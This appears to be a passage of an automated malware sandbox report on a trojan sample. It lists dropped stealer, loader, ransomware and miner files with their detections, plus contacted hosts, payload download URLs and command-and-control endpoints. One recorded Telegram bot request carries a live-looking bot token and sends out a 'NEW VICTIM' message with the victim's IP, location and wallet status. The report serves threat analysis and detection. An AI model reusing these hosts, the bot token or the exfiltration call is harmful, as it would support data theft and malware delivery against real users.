179 Uses ping.exe to check the status of other devices and networks 71->179 80 PING.EXE 71->80         started        83 conhost.exe 71->83         started        85 conhost.exe 74->85         started        87 conhost.exe 76->87         started        89 conhost.exe 78->89         started        process20 dnsIp21 115 127.0.0.1 unknown unknown 80->115

                              Screenshots

                              Thumbnails

                              This section contains all screenshots as thumbnails, including those not shown in the slideshow.


                              windows-stand

                              Antivirus, Machine Learning and Genetic Malware Detection

                              Initial Sample

                              SourceDetectionScannerLabelLink
                              file.exe55%VirustotalBrowse
                              file.exe55%ReversingLabsWin32.Trojan.CryptBot
                              file.exe100%AviraTR/Crypt.TPM.Gen
                              file.exe100%Joe Sandbox ML

                              Dropped Files

                              SourceDetectionScannerLabelLink
                              C:\Users\user\AppData\Local\Temp\main\extracted\in.exe100%AviraHEUR/AGEN.1352802
                              C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe100%AviraTR/Crypt.TPM.Gen
                              C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exe100%AviraTR/Crypt.XPACK.Gen
                              C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe100%AviraTR/Crypt.XPACK.Gen
                              C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe100%AviraTR/Crypt.TPM.Gen
                              C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe100%AviraHEUR/AGEN.1352802
                              C:\Users\user\AppData\Local\Temp\1019319001\b7c03317c9.exe100%AviraTR/Crypt.TPM.Gen
                              C:\Users\user\AppData\Local\Temp\main\extracted\in.exe100%Joe Sandbox ML
                              C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe100%Joe Sandbox ML
                              C:\Users\user\AppData\Local\Temp\1019321001\322c3dce5b.exe100%Joe Sandbox ML
                              C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe100%Joe Sandbox ML
                              C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exe100%Joe Sandbox ML
                              C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe100%Joe Sandbox ML
                              C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe100%Joe Sandbox ML
                              C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe100%Joe Sandbox ML
                              C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe100%Joe Sandbox ML
                              C:\Users\user\AppData\Local\Temp\1019319001\b7c03317c9.exe100%Joe Sandbox ML
                              C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exe100%Joe Sandbox ML
                              C:\Users\user\AppData\Local\Temp\1019317001\72f44ceb0a.exe100%Joe Sandbox ML
                              C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe100%Joe Sandbox ML
                              C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe100%Joe Sandbox ML
                              C:\Program Files\Windows Media Player\graph\graph.exe0%ReversingLabs
                              C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe87%ReversingLabsWin32.Trojan.Amadey
                              C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe55%ReversingLabsWin32.Infostealer.Tinba
                              C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe63%ReversingLabsWin32.Ransomware.Generic
                              C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[2].exe57%ReversingLabsByteCode-MSIL.Trojan.Zilla
                              C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe47%ReversingLabsWin32.Trojan.Generic
                              C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[2].exe28%ReversingLabs
                              C:\Users\user\AppData\Local\Temp\1019315001\5f0a381314.exe87%ReversingLabsWin32.Trojan.Amadey
                              C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exe47%ReversingLabsWin32.Trojan.Generic
                              C:\Users\user\AppData\Local\Temp\1019317001\72f44ceb0a.exe55%ReversingLabsWin32.Infostealer.Tinba
                              C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exe63%ReversingLabsWin32.Ransomware.Generic
                              C:\Users\user\AppData\Local\Temp\1019320001\4cdf81e042.exe28%ReversingLabs
                              C:\Users\user\AppData\Local\Temp\1019321001\322c3dce5b.exe57%ReversingLabsByteCode-MSIL.Trojan.Zilla
                              C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe55%ReversingLabsWin32.Trojan.CryptBot
                              C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe55%ReversingLabsWin32.Infostealer.Tinba
                              C:\Users\user\AppData\Local\Temp\main\7z.dll0%ReversingLabs
                              C:\Users\user\AppData\Local\Temp\main\7z.exe0%ReversingLabs
                              C:\Users\user\AppData\Local\Temp\main\extracted\in.exe70%ReversingLabsWin64.Trojan.Nekark
                              C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe70%ReversingLabsWin64.Trojan.Nekark

                              Unpacked PE Files

                              ⊘No Antivirus matches

                              Domains

                              ⊘No Antivirus matches

                              URLs

                              ⊘No Antivirus matches

                              Domains and IPs

                              Contacted Domains

                              NameIPActiveMaliciousAntivirus DetectionReputation
                              home.fivetk5ht.top
                              		185.121.15.192
                              		truefalse
                                		high
                                treehoneyi.click
                                		104.21.91.209
                                		truefalse
                                  		high
                                  cheapptaxysu.click
                                  		104.21.67.146
                                  		truefalse
                                    		high
                                    ipinfo.io
                                    		34.117.59.81
                                    		truefalse
                                      		high
                                      drive.google.com
                                      		172.217.17.46
                                      		truefalse
                                        		high
                                        drive.usercontent.google.com
                                        		172.217.17.65
                                        		truefalse
                                          		high
                                          api.telegram.org
                                          		149.154.167.220
                                          		truefalse
                                            		high
                                            httpbin.org
                                            		98.85.100.80
                                            		truefalse
                                              		high

                                              Contacted URLs

                                              NameMaliciousAntivirus DetectionReputation
                                              aspecteirs.latfalse
                                                		high
                                                http://212.193.31.8/3ofn3jf3e2ljk2/index.phptrue
                                                  		unknown
                                                  http://185.215.113.43/Zu7JuNko/index.phpfalse
                                                    		high
                                                    treehoneyi.clicktrue
                                                      		unknown
                                                      https://ipinfo.io/jsonfalse
                                                        		high
                                                        sustainskelet.latfalse
                                                          		high
                                                          rapeflowwj.latfalse
                                                            		high
                                                            https://api.telegram.org/bot7855878545:AAEEMUvgpX9jTAxlDd2gM_Sbv2jbI6-5_0o/sendMessage?chat_id=7427009775&text=%3Cb%3E%F0%9F%94%94NEW%20VICTIM%20%2D%20Extensions%20Installed%3C%2Fb%3E%0A%3Cb%3EIP%20Address%3A%3C%2Fb%3E%208%2E46%2E123%2E189%0A%3Cb%3EDevice%20Name%3A%3C%2Fb%3E%20494126%0A%3Cb%3ELocation%3A%3C%2Fb%3E%20New%20York%20City%2C%20New%20York%2C%20US%0A%3Cb%3EWallets%3A%3C%2Fb%3E%0A%3Ccode%3ENothing%20found%3C%2Fcode%3E&parse_mode=HTMLfalse
                                                              		high
                                                              energyaffai.latfalse
                                                                		high
                                                                http://home.fivetk5ht.top/zldPRFrmVFHTtKntGpOv1734579851?argument=CmXX9uDEYSg7ov7J1734779763true
                                                                  		unknown
                                                                  http://home.fivetk5ht.top/zldPRFrmVFHTtKntGpOv1734579851false
                                                                    		high
                                                                    grannyejh.latfalse
                                                                      		high

                                                                      URLs from Memory and Binaries

                                                                      NameSourceMaliciousAntivirus DetectionReputation
                                                                      https://www.cloudflare.com/learning/access-management/phishing-attack/b2885fa695.exe, 00000020.00000003.2559195373.0000000000D42000.00000004.00000020.00020000.00000000.sdmp, b2885fa695.exe, 00000020.00000003.2559173290.0000000000D84000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                        		high
                                                                        https://api.telegram.org/grkrs4115805b10.exe, 00000028.00000002.2819650802.000001E365837000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                          		high
                                                                          https://duckduckgo.com/chrome_newtabb2885fa695.exe, 00000020.00000003.2582356457.00000000056AD000.00000004.00000800.00020000.00000000.sdmp, b2885fa695.exe, 00000020.00000003.2582557045.00000000056AA000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                            		high
                                                                            https://ipinfo.io/missingauth4115805b10.exe, 00000027.00000003.2774885034.00000268109DD000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000027.00000003.2774431697.00000268109D5000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000028.00000003.2795679412.000001E3658C4000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                              		high
                                                                              https://cheapptaxysu.click/apiINb2885fa695.exe, 00000020.00000003.2686509398.0000000000D9A000.00000004.00000020.00020000.00000000.sdmp, b2885fa695.exe, 00000020.00000003.2692865661.0000000000D9E000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                		unknown
                                                                                https://www.google.com/vate4115805b10.exe, 00000028.00000003.2691236731.000001E365817000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                  		high
                                                                                  http://31.41.244.11/files/karl/random.exexeskotes.exe, 00000005.00000002.2942570852.0000000000D8D000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                    		unknown
                                                                                    https://duckduckgo.com/ac/?q=b2885fa695.exe, 00000020.00000003.2582356457.00000000056AD000.00000004.00000800.00020000.00000000.sdmp, b2885fa695.exe, 00000020.00000003.2582557045.00000000056AA000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                      		high
                                                                                      http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#skotes.exe, 00000005.00000002.2942570852.0000000000D79000.00000004.00000020.00020000.00000000.sdmp, 5f0a381314.exe.5.drfalse
                                                                                        		high
                                                                                        https://api.telegram.org/:Gr4115805b10.exe, 00000028.00000002.2819650802.000001E365837000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                          		high
                                                                                          http://31.41.244.11/files/karl/random.exe8476skotes.exe, 00000005.00000002.2942570852.0000000000D8D000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                            		unknown
                                                                                            https://api.telegram.org/-GB4115805b10.exe, 00000028.00000002.2820245543.000001E3661E0000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                              		high
                                                                                              https://api.telegram.org/bot4115805b10.exe, 00000028.00000000.2667326161.00007FF6BDA40000.00000002.00000001.01000000.00000012.sdmpfalse
                                                                                                		high
                                                                                                https://cheapptaxysu.click/api:L_b2885fa695.exe, 00000020.00000003.2706084690.0000000000D93000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                  		unknown
                                                                                                  https://drive.google.com/uc?id=URL:4115805b10.exe, 00000027.00000000.2649047959.00007FF6BDA40000.00000002.00000001.01000000.00000012.sdmp, 4115805b10.exe, 00000027.00000002.2797453206.00007FF6BDA40000.00000002.00000001.01000000.00000012.sdmp, 4115805b10.exe, 00000028.00000002.2820458214.00007FF6BDA40000.00000002.00000001.01000000.00000012.sdmp, 4115805b10.exe, 00000028.00000000.2667326161.00007FF6BDA40000.00000002.00000001.01000000.00000012.sdmpfalse
                                                                                                    		high
                                                                                                    https://cheapptaxysu.click/api%L8b2885fa695.exe, 00000020.00000003.2758836379.0000000000D9E000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                      		unknown
                                                                                                      https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.b2885fa695.exe, 00000020.00000003.2661685253.0000000005661000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                        		high
                                                                                                        https://www.google.com/aome4115805b10.exe, 00000028.00000003.2692258593.000001E36584F000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000028.00000003.2691019358.000001E365823000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000028.00000003.2692584026.000001E36584F000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000028.00000003.2691434886.000001E36583B000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000028.00000003.2691864511.000001E365847000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000028.00000003.2692021259.000001E36584F000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                          		high
                                                                                                          https://ipinfo.io/jsonN/Aipcountry4115805b10.exe, 00000027.00000000.2649047959.00007FF6BDA40000.00000002.00000001.01000000.00000012.sdmp, 4115805b10.exe, 00000027.00000002.2797453206.00007FF6BDA40000.00000002.00000001.01000000.00000012.sdmp, 4115805b10.exe, 00000028.00000002.2820458214.00007FF6BDA40000.00000002.00000001.01000000.00000012.sdmp, 4115805b10.exe, 00000028.00000000.2667326161.00007FF6BDA40000.00000002.00000001.01000000.00000012.sdmpfalse
                                                                                                            		high
                                                                                                            http://31.41.244.11/files/burpin1/random.exe6Hskotes.exe, 00000005.00000002.2942570852.0000000000D5E000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                              		unknown
                                                                                                              http://185.215.113.43/Zu7JuNko/index.phpnuskotes.exe, 00000005.00000002.2942570852.0000000000D8D000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                		high
                                                                                                                https://link.storjshare.io/s/jx3obcnqgxa2u364c52wel6vrxba/cardan-shafts/Trazor%20(Software).zip?down4115805b10.exe, 00000027.00000000.2649047959.00007FF6BDA40000.00000002.00000001.01000000.00000012.sdmp, 4115805b10.exe, 00000027.00000002.2797453206.00007FF6BDA40000.00000002.00000001.01000000.00000012.sdmp, 4115805b10.exe, 00000028.00000002.2820458214.00007FF6BDA40000.00000002.00000001.01000000.00000012.sdmp, 4115805b10.exe, 00000028.00000000.2667326161.00007FF6BDA40000.00000002.00000001.01000000.00000012.sdmpfalse
                                                                                                                  		high
                                                                                                                  https://link.storjshare.io/s/jvrb5lh3pynx3et56bisfuuguvoq/cardan-shafts/Electrum%20(Software)(1).zip4115805b10.exe, 00000027.00000000.2649047959.00007FF6BDA40000.00000002.00000001.01000000.00000012.sdmp, 4115805b10.exe, 00000027.00000002.2797453206.00007FF6BDA40000.00000002.00000001.01000000.00000012.sdmp, 4115805b10.exe, 00000028.00000002.2820458214.00007FF6BDA40000.00000002.00000001.01000000.00000012.sdmp, 4115805b10.exe, 00000028.00000000.2667326161.00007FF6BDA40000.00000002.00000001.01000000.00000012.sdmpfalse
                                                                                                                    		high
                                                                                                                    https://docs.google.com/4115805b10.exe, 00000028.00000003.2692021259.000001E36584F000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                      		high
                                                                                                                      https://www.google.com/olhkhi4115805b10.exe, 00000027.00000003.2671210783.0000026810964000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000027.00000003.2671562167.0000026810965000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                        		high
                                                                                                                        https://curl.se/docs/hsts.htmlb7c03317c9.exe, 0000002A.00000002.2930917753.0000000000F9D000.00000040.00000001.01000000.00000014.sdmpfalse
                                                                                                                          		high
                                                                                                                          https://payments.google.com/payments/v4/js/integrator.jsBACCDE8AZo4115805b10.exe, 00000028.00000003.2692258593.000001E36585C000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000028.00000003.2692584026.000001E365865000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000028.00000003.2691019358.000001E365823000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000028.00000003.2691711392.000001E36585B000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000028.00000003.2691434886.000001E36583B000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                            		high
                                                                                                                            http://31.41.244.11/files/karl/random.exeO:skotes.exe, 00000005.00000002.2942570852.0000000000D8D000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                              		unknown
                                                                                                                              https://cheapptaxysu.click/api5RJ1JZb2885fa695.exe, 00000020.00000003.2759119506.0000000000D90000.00000004.00000020.00020000.00000000.sdmp, b2885fa695.exe, 00000020.00000002.2765530714.0000000000D90000.00000004.00000020.00020000.00000000.sdmp, b2885fa695.exe, 00000020.00000003.2735992155.0000000000D84000.00000004.00000020.00020000.00000000.sdmp, b2885fa695.exe, 00000020.00000003.2736434954.0000000000D8D000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                		unknown
                                                                                                                                https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYib2885fa695.exe, 00000020.00000003.2661685253.0000000005661000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                  		high
                                                                                                                                  https://drive.google.com/4115805b10.exe, 00000028.00000003.2692021259.000001E36584F000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                    		high
                                                                                                                                    http://31.41.244.11/files/burpin1/random.exeDskotes.exe, 00000005.00000002.2942570852.0000000000D5E000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                      		unknown
                                                                                                                                      http://212.193.31.8/3ofn3jf3e2ljk2/index.phpf-Gxtuum.exe, 00000026.00000002.2935835447.00000000015D8000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                        		unknown
                                                                                                                                        http://31.41.244.11/files/burpin1/random.exeCskotes.exe, 00000005.00000002.2942570852.0000000000D5E000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                          		unknown
                                                                                                                                          https://drive-daily-3.corp.google.cosB4115805b10.exe, 00000027.00000002.2796654960.000002681097D000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                            		unknown
                                                                                                                                            http://212.193.31.8/3ofn3jf3e2ljk2/index.phpedGxtuum.exe, 00000026.00000002.2935835447.00000000015D8000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                              		unknown
                                                                                                                                              https://github.com/Urijas/moperats/raw/refs/heads/main/ktyihkdfesf.exe322c3dce5b.exe, 00000033.00000000.2907742348.0000000000032000.00000002.00000001.01000000.00000016.sdmpfalse
                                                                                                                                                		high
                                                                                                                                                http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name322c3dce5b.exe, 00000033.00000002.2940029679.0000000002321000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                  		high
                                                                                                                                                  https://link.storjshare.io/s/jwkj6ktyi5kumzjvhrw6bdbvyceq/cardan-shafts/Ledger%20(Software).zip?down4115805b10.exe, 00000028.00000002.2819650802.000001E3657E0000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000028.00000000.2667326161.00007FF6BDA40000.00000002.00000001.01000000.00000012.sdmpfalse
                                                                                                                                                    		high
                                                                                                                                                    http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#skotes.exe, 00000005.00000002.2942570852.0000000000D79000.00000004.00000020.00020000.00000000.sdmp, 5f0a381314.exe.5.drfalse
                                                                                                                                                      		high
                                                                                                                                                      https://cheapptaxysu.click/9b2885fa695.exe, 00000020.00000003.2759950146.0000000000D2A000.00000004.00000020.00020000.00000000.sdmp, b2885fa695.exe, 00000020.00000002.2764183695.0000000000D2A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                        		unknown
                                                                                                                                                        https://drive.usercontent.google.com/i4115805b10.exe, 00000027.00000003.2752333584.0000026810A08000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000027.00000002.2797099055.0000026810A08000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000027.00000003.2774431697.0000026810A08000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000027.00000003.2754663756.0000026810A08000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000027.00000003.2753904963.0000026810A08000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000027.00000003.2795798018.0000026810A08000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                          		high
                                                                                                                                                          https://api.telegram.org/ogle4115805b10.exe, 00000028.00000002.2820245543.000001E3661E0000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                            		high
                                                                                                                                                            http://31.41.244.11/files/karl/random.exeskotes.exe, 00000005.00000002.2942570852.0000000000D8D000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                              		unknown
                                                                                                                                                              https://chrome.google.com/webstore4115805b10.exe, 00000028.00000003.2690889016.000001E365822000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                		high
                                                                                                                                                                https://sandbox.google.com/payments/v4/js/integrator.jsCF630DF44115805b10.exe, 00000027.00000003.2671262555.0000026810961000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000027.00000003.2671446840.0000026810961000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                  		high
                                                                                                                                                                  https://cheapptaxysu.click/apiocab2885fa695.exe, 00000020.00000003.2686509398.0000000000D9A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                    		unknown
                                                                                                                                                                    https://drive-daily-2.corp.google.com/4115805b10.exe, 00000028.00000003.2691236731.000001E365820000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                      		high
                                                                                                                                                                      https://payments.google.com/payments/v4/js/integrator.js4115805b10.exe, 00000027.00000003.2671262555.0000026810961000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000027.00000003.2671446840.0000026810961000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000027.00000003.2671262555.000002681095A000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000028.00000003.2692258593.000001E36585C000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000028.00000003.2692584026.000001E365865000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000028.00000003.2691019358.000001E365823000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000028.00000003.2691711392.000001E36585B000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000028.00000003.2691434886.000001E36583B000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                        		high
                                                                                                                                                                        https://api.telegram.org/14115805b10.exe, 00000027.00000002.2797301812.00000268125B0000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                          		high
                                                                                                                                                                          https://drive-daily-4.corp.google.com/4115805b10.exe, 00000028.00000003.2691236731.000001E365820000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                            		high
                                                                                                                                                                            https://treehoneyi.click/api$4cdf81e042.exe, 0000002C.00000002.2937965345.00000000013C8000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                              		unknown
                                                                                                                                                                              https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=b2885fa695.exe, 00000020.00000003.2582356457.00000000056AD000.00000004.00000800.00020000.00000000.sdmp, b2885fa695.exe, 00000020.00000003.2582557045.00000000056AA000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                                		high
                                                                                                                                                                                http://crl.rootca1.amazontrust.com/rootca1.crl0b2885fa695.exe, 00000020.00000003.2630727981.00000000056AD000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                                  		high
                                                                                                                                                                                  https://payments.google.com/payments/v4/js/integrator.js9A495B9est4115805b10.exe, 00000027.00000003.2671262555.0000026810961000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000027.00000003.2671446840.0000026810961000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                    		high
                                                                                                                                                                                    http://home.fivetk5ht.top/zldPRFrmVFHTtKntGpOv17b7c03317c9.exe, 0000002A.00000002.2930917753.0000000000F9D000.00000040.00000001.01000000.00000014.sdmpfalse
                                                                                                                                                                                      		high
                                                                                                                                                                                      https://drive.google.com/uc?id=4115805b10.exe, 00000027.00000000.2649047959.00007FF6BDA40000.00000002.00000001.01000000.00000012.sdmp, 4115805b10.exe, 00000027.00000002.2797453206.00007FF6BDA40000.00000002.00000001.01000000.00000012.sdmp, 4115805b10.exe, 00000028.00000002.2820458214.00007FF6BDA40000.00000002.00000001.01000000.00000012.sdmp, 4115805b10.exe, 00000028.00000000.2667326161.00007FF6BDA40000.00000002.00000001.01000000.00000012.sdmpfalse
                                                                                                                                                                                        		high
                                                                                                                                                                                        http://ocsp.rootca1.amazontrust.com0:b2885fa695.exe, 00000020.00000003.2630727981.00000000056AD000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                                          		high
                                                                                                                                                                                          https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016b2885fa695.exe, 00000020.00000003.2583140573.00000000056B9000.00000004.00000800.00020000.00000000.sdmp, b2885fa695.exe, 00000020.00000003.2605197612.00000000056B9000.00000004.00000800.00020000.00000000.sdmp, b2885fa695.exe, 00000020.00000003.2582992344.00000000056C0000.00000004.00000800.00020000.00000000.sdmp, b2885fa695.exe, 00000020.00000003.2606132796.00000000056B9000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                                            		high
                                                                                                                                                                                            https://curl.se/docs/alt-svc.htmlb7c03317c9.exe, 0000002A.00000002.2930917753.0000000000F9D000.00000040.00000001.01000000.00000014.sdmpfalse
                                                                                                                                                                                              		high
                                                                                                                                                                                              https://xmrig.com/wizardIntel_PTT_EK_Recertification.exe, 0000001E.00000003.2521605943.000001FE626E0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001F.00000002.2530687816.00000001402DD000.00000002.00000001.00020000.00000000.sdmp, Intel_PTT_EK_Recertification.exe, 0000002E.00000003.2876108637.00000202AA9D0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000002F.00000002.2882244663.00000001402DD000.00000002.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                                                                		high
                                                                                                                                                                                                https://cheapptaxysu.click/Qb2885fa695.exe, 00000020.00000003.2759950146.0000000000D2A000.00000004.00000020.00020000.00000000.sdmp, b2885fa695.exe, 00000020.00000002.2764183695.0000000000D2A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                  		unknown
                                                                                                                                                                                                  https://cheapptaxysu.click/apiCNb2885fa695.exe, 00000020.00000003.2686509398.0000000000D9A000.00000004.00000020.00020000.00000000.sdmp, b2885fa695.exe, 00000020.00000003.2692865661.0000000000D9E000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                    		unknown
                                                                                                                                                                                                    https://www.ecosia.org/newtab/b2885fa695.exe, 00000020.00000003.2582356457.00000000056AD000.00000004.00000800.00020000.00000000.sdmp, b2885fa695.exe, 00000020.00000003.2582557045.00000000056AA000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                                                      		high
                                                                                                                                                                                                      https://drive-daily-1.corp.google.com/4115805b10.exe, 00000028.00000003.2691236731.000001E365820000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                        		high
                                                                                                                                                                                                        https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-brb2885fa695.exe, 00000020.00000003.2631727689.000000000578D000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                                                          		high
                                                                                                                                                                                                          http://31.41.244.11/files/martin/random.exeskotes.exe, 00000005.00000002.2942570852.0000000000D8D000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                            		high
                                                                                                                                                                                                            https://drive-daily-5.corp.google.com/4115805b10.exe, 00000028.00000003.2691236731.000001E365820000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                              		high
                                                                                                                                                                                                              https://ipinfo.io/D4115805b10.exe, 00000028.00000002.2820245543.000001E3661E0000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                                		high
                                                                                                                                                                                                                https://treehoneyi.click/4cdf81e042.exe, 0000002C.00000002.2937965345.0000000001489000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                                  		high
                                                                                                                                                                                                                  https://www.cloudflare.com/5xx-error-landingb2885fa695.exe, 00000020.00000003.2559195373.0000000000D42000.00000004.00000020.00020000.00000000.sdmp, b2885fa695.exe, 00000020.00000003.2559287290.0000000000D0D000.00000004.00000020.00020000.00000000.sdmp, b2885fa695.exe, 00000020.00000003.2559173290.0000000000D84000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                                    		high
                                                                                                                                                                                                                    https://httpbin.org/ipbeforeb7c03317c9.exe, 0000002A.00000003.2782175661.0000000007A76000.00000004.00001000.00020000.00000000.sdmp, b7c03317c9.exe, 0000002A.00000002.2930917753.0000000000F9D000.00000040.00000001.01000000.00000014.sdmpfalse
                                                                                                                                                                                                                      		high
                                                                                                                                                                                                                      https://treehoneyi.click/api4cdf81e042.exe, 0000002C.00000002.2937965345.00000000013C8000.00000004.00000020.00020000.00000000.sdmp, 4cdf81e042.exe, 0000002C.00000002.2937965345.000000000149D000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                                        		high
                                                                                                                                                                                                                        https://www.google.com/s4115805b10.exe, 00000028.00000003.2692258593.000001E36585C000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000028.00000003.2692584026.000001E365865000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000028.00000003.2691019358.000001E365823000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000028.00000003.2691711392.000001E36585B000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000028.00000003.2691434886.000001E36583B000.00000004.00000020.00020000.00000000.sdmpfalse
